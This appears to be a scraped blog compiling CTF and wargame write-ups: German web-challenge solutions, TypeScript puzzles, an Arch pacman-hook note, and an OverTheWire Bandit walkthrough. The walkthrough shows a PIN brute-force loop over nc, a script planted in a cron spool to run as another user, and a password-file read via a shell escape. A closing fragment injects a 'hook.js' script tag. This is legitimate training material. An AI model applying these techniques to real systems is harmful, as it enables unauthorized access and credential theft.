recursive_unzip() { for file in "$1"/*; do if [ -f "$file" ]; then case "$file" in *.7z|*.zip|*.rar|*.tar|*.gz|*.bz2) dir="${file%.*}" mkdir -p "$dir" 7z x -o"$dir" "$file" > /dev/null recursive_unzip "$dir" ;; esac fi done }
recursive_unzip "."
1 2
➤ find . -type f -not -regex ".*.zip" | xargs grep -i antwort Die Antwort auf diese Aufgabe lautet Matrjoschka.
➤ calc C-style arbitrary precision calculator (version 2.15.1.1) Calc is open software. For license details type: help copyright [Type "exit" to exit, or "help" for help.]
deffind_n(): n = 1 target = "000000" whileTrue: s = "hacktheweb" + str(n) hash_value = hashlib.md5(s.encode()).hexdigest() if hash_value.startswith(target): print(hash_value) print(n) return n n += 1
if __name__ == "__main__": result_n = find_n()
1688157
challenge 95 handwriting
download fontfile and check
i use fontforge btw
kalligraph
challenge 40 terminal
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
# to GOP/053/vjer > cat vjer Hmm, have a look in GDA/644/sdvd > cat sdvd Oops, I meant GDA/644/dnei > cat dnei It is worth looking in the directory ZFD, in it the directory with the highest number, and in it the alphabetically first file. > cat fgst The answer to this task is the content of the file SHY/666/pfpz > cat pfpz ????????????????????
Sonne Garten ist wir
challenge 38 metadata
download img and check
1 2 3 4
➤ exiftool chal38-en.jpg ... Image Description : The answer is: ??????????????? (exposure time in german) ...
belichtungszeit
challenge 100 nostalgia
i use hackbar btw, change User Agent and execute
1
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
quirky
challenge 76 timeframe
1 2 3 4 5 6 7 8 9
➤ TZ='Europe/Berlin' date -d "???????????????????" +%s time1
➤ TZ='Europe/Berlin' date +%s time2
time1-time2 /60
challenge 94 original
i use google image btw, oldest link to unsplash is target
there are different levels and variants of leet from easily readable
to tota...
notice its a german word
ultimativ
challenge 92 constitution
1 2 3 4 5 6 7 8 9 10 11
➤ cat tmp|sed "s/ /\n/g" |sed "s/\,//g" | sed "s/\.//g"| sort |uniq -c | sort -nr |head 32 und 28 der 22 18 die 13 zu 10 Recht 10 in 10 Die 10 den 9 werden
➤ calc C-style arbitrary precision calculator (version 2.15.1.1) Calc is open software. For license details type: help copyright [Type "exit" to exit, or "help" for help.]
; 1500+1286 2786 ; 1000+225 1225
touhou hijack
challenge 119 password
i dont know Taylor, so i make a dict and fuzz with zap
a = "4c314c205f37542d4c3819345c274f2c01781d79072a44205d38502f0266183556344d600c631d7f1e661f7716624f3159374f30587b56137b046c46381561037b0429452658224a35022f70146a0e680a29" b = bytes.fromhex(a)
for key inrange(0,255): previousOutput = 0 output_bytes = [] for d in b: current_key = previousOutput ^ key decrypted_byte = d ^ current_key previousOutput = d output_bytes.append(decrypted_byte) s = bytes(output_bytes).decode() if"answer"in s.lower(): print(f"{key}, {s}") break
# The byte in b equals xor_byte in the source. # Thus previousOutput = byte.
1 2
➤ python tmp.py 13, Apparently, even this cipher is not absolutely secure. Here's your answer: ??????.
defcipher_iii(key1,key2,input_bytes): previousOutput = 0 output_bytes = [] for i, d inenumerate(input_bytes): k = key1 if i % 2 == 0else key2 current_key = previousOutput ^ k xor_byte = d ^ current_key output_bytes.append(xor_byte) previousOutput = d s = bytes(output_bytes).decode(errors='ignore') if"antwort"in s.lower(): print(s.lower())
for key1 inrange(0,255): for key2 inrange(0,255): cipher_iii(key1,key2,b)
rosen sind rot, veilchen sind blau, zucker ist süß, und ich gebe auf.
die antwort lautet ?????????????
@>--->--->---
challenge username III
i have a server btw
1 2 3 4 5 6
from http.server import HTTPServer, BaseHTTPRequestHandler as Handler USERNAME = "your_username_here" Handler.do_GET = lambdaself: [self.send_response(200), self.end_headers(), self.wfile.write(USERNAME.encode())] HTTPServer(('', 8000), Handler).serve_forever()
The bitwise NOT (~) operator returns a number or BigInt whose binary
representation has a 1 in each bit position for which the corresponding
bit of the operand is 0, and a 0 otherwise.
1 2 3 4 5 6
constzahl: number = 101
consttext: string = "htw"
constups: number = ~"42"
level TS06
1 2 3 4 5 6
functionfn_42() { return42 }
constzahl: number = fn_42
gold
1 2 3 4 5 6
functionfn_42() { return42 }
constzahl: number = fn_42()
hacker
zahl = -1 here
1
~fn_42 = ~Number(fn_42) = ~NaN = ~0 = -1
1 2 3 4 5
functionfn_42() { return42 }
constzahl: number = ~fn_42
level TS07
1
const text = "Und sie fragte sich, was "Typescript" wohl bedeutet"
1
const text = "Und sie fragte sich, was Typescript wohl bedeutet"
level TS08
1 2 3
Ich mag viel lieber inPython programmieren
Hab ja einfach gar keinen Bock -_-
Template Literals
1 2 3 4
`Ich mag viel lieber in Python programmieren Hab ja einfach gar keinen Bock -_- `
Posted onInlinuxWord count in article: 458Reading time ≈2 mins.
archlinux auto add --enable-wayland-ime when package upgrade overwrite .desktop file
This hook runs as root after a pacman transaction. Never point
Exec at a script or package list writable by an ordinary
user. Install both under root-owned paths; every ancestor directory must
also be protected from user writes.
Save this as ap in your working directory for review,
then install it as shown below. It handles simple, unquoted executable
names in the first Exec= line only; quoted executable paths
and Desktop Actions need a Desktop Entry-aware implementation rather
than this small patcher.
Create /etc/pacman.d/hooks/desktop-wayland-ime.hook with
root:root ownership and mode 0644. Ensure the hook directory and
/usr/local/sbin are root-owned and not writable by ordinary
users; if those directories are already user-writable, repair that
prerequisite before installing anything.
[Action] Description = Adding --enable-wayland-ime to selected .desktop files When = PostTransaction Exec = /usr/local/sbin/desktop-wayland-ime
The hook modifies selected package-owned files in
/usr/share/applications; package upgrades can overwrite
them again. A user-level desktop override is an alternative when the
setting is only for one account.
Test the parser/idempotence against disposable desktop fixtures
before installing, rather than performing a system upgrade only to test
a hook. After installation, inspect ownership, mode and the modified
Exec= lines during an independently planned package
transaction. The earlier personal paru -Syu observation was
not rerun for this revised hook; no package upgrade or root execution
was performed in this review.
bandit12@bandit:/tmp/tmp.KykZXHYnaH$ bzip2 -d a #bzip2: Can't guess original name for a -- using a.out
bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file a.out a.out: gzip compressed data, was "data4.bin", last modified: Thu Apr 10 14:22:57 2025, max compression, from Unix, original size modulo 2^32 20480
bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file a a: POSIX tar archive (GNU)
bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file data7.bin #data7.bin: cannot open `data7.bin' (No such file or directory)
bandit12@bandit:/tmp/tmp.KykZXHYnaH$ file data8.bin data8.bin: gzip compressed data, was "data9.bin", last modified: Thu Apr 10 14:22:57 2025, max compression, from Unix, original size modulo 2^32 49
bandit15@bandit:~$ openssl s_client localhost:30001 # some info ... or use -quiet to suppress the output # openssl s_client -connect localhost:30001 -quiet <credential-redacted> Correct! #password to next level
[credential redacted]
another way to get the password is to use the command below
1 2 3
ncat --ssl localhost 30001 socat - OPENSSL:localhost:30001,verify=0 # use verify=0 to disable certificate verification
level 16 → level 17
Show all TCP sockets listening on the local 8080 port:
cd /var/spool/$myname/foo echo"Executing and deleting all scripts in /var/spool/$myname/foo:" for i in * .*; do if [ "$i" != "." -a "$i" != ".." ]; then echo"Handling $i" owner="$(stat --format "%U" ./$i)" if [ "${owner}" = "bandit23" ]; then timeout -s 9 60 ./$i fi rm -f ./$i fi done
bandit23@bandit:~$ vim /var/spool/bandit24/foo/tmp.sh #!/bin/bash
bandit24@bandit:/tmp/tmp.YfKCvV5CzF$ vim tmp.sh #!/bin/bash password="<credential-redacted>"
for i in {1000..9999}; do echo"$password$i" done | nc localhost 30002
bandit24@bandit:/tmp/tmp.YfKCvV5CzF$ ./tmp.sh ... Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Wrong! Please enter the correct current password and pincode. Try again. Correct! The password of user bandit25 is
Dont forget to mktemp a directory to clone the git repository into,
otherwise you will get fatal: could not create work tree dir 'repo':
Permission denied
1 2 3 4 5 6 7 8 9 10 11 12 13
bandit27@bandit:~$ mktemp -d /tmp/tmp.W54bwIQdTm
bandit27@bandit:~$ cd /tmp/tmp.W54bwIQdTm
bandit27@bandit:/tmp/tmp.W54bwIQdTm$ git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo ... bandit27-git@localhost's password: ... bandit27@bandit:/tmp/tmp.W54bwIQdTm/repo$ cat README The password to the next level is:
bandit28@bandit:~$ mktemp -d /tmp/tmp.Dnue3slg2g bandit28@bandit:~$ cd /tmp/tmp.Dnue3slg2g bandit28@bandit:/tmp/tmp.Dnue3slg2g$ git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo Cloning into 'repo'... The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established. ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Could not create directory '/home/bandit28/.ssh' (Permission denied). Failed to add the host to the list of known hosts (/home/bandit28/.ssh/known_hosts). _ _ _ _ | |__ __ _ _ __ __| (_) |_ | '_ \ / _` | '_ \ / _` | | __| | |_) | (_| | | | | (_| | | |_ |_.__/ \__,_|_| |_|\__,_|_|\__| This is an OverTheWire game server. More information on http://www.overthewire.org/wargames bandit28-git@localhost's password: remote: Enumerating objects: 9, done. remote: Counting objects: 100% (9/9), done. remote: Compressing objects: 100% (6/6), done. remote: Total 9 (delta 2), reused 0 (delta 0), pack-reused 0 Receiving objects: 100% (9/9), done. Resolving deltas: 100% (2/2), done.
bandit29@bandit:/tmp/tmp.uymj8B2LpI$ git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo Cloning into 'repo'... The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established. ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Could not create directory '/home/bandit29/.ssh' (Permission denied). Failed to add the host to the list of known hosts (/home/bandit29/.ssh/known_hosts). _ _ _ _ | |__ __ _ _ __ __| (_) |_ | '_ \ / _` | '_ \ / _` | | __| | |_) | (_| | | | | (_| | | |_ |_.__/ \__,_|_| |_|\__,_|_|\__| This is an OverTheWire game server. More information on http://www.overthewire.org/wargames bandit29-git@localhost's password: remote: Enumerating objects: 16, done. remote: Counting objects: 100% (16/16), done. remote: Compressing objects: 100% (11/11), done. remote: Total 16 (delta 2), reused 0 (delta 0), pack-reused 0 Receiving objects: 100% (16/16), done. Resolving deltas: 100% (2/2), done.
# same as above, but with bandit30-git bandit30@bandit:/tmp/tmp.G0HYcVr8Od/repo$ git tag secret bandit30@bandit:/tmp/tmp.G0HYcVr8Od/repo$ git show secret
bandit31@bandit:/tmp/tmp.blHsxtiTrN/repo$ git push ... Writing objects: 100% (4/4), 326 bytes | 326.00 KiB/s, done. Total 4 (delta 0), reused 0 (delta 0), pack-reused 0 remote: ### Attempting to validate files... #### remote: remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo. remote: remote: Well done! Here is the password for the next level: remote: <credential-redacted> remote: remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo. remote: To ssh://localhost:2220/home/bandit31-git/repo ! [remote rejected] master -> master (pre-receive hook declined) error: failed to push some refs to 'ssh://localhost:2220/home/bandit31-git/repo'
[credential redacted]
level 32 → level 33
taken from https://mayadevbe.me/posts/overthewire/bandit/level33/
1 2 3 4
>> $0 $ /bin/bash
bandit33@bandit:~$ cat /etc/bandit_pass/bandit33
[credential redacted]
level 33 → level 34
1 2 3 4 5 6 7 8 9
bandit33@bandit:~$ cat README.txt Congratulations on solving the last level of this game!
At this moment, there are no more levels to play in this game. However, we are constantly working on new levels and will most likely expand this game with more levels soon. Keep an eye out for an announcement on our usual communication channels! In the meantime, you could play some of our other wargames.
If you have an idea for an awesome new level, please let us know!
String.fromCharCode() convert a ASCII to a
character.
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<scriptsrc="hook.js"></script> <?php // by escaping the payload you won't break this system, haha! :-) $escaped = preg_replace("/['\"`&#]/", "", $_GET['payload']); ?>
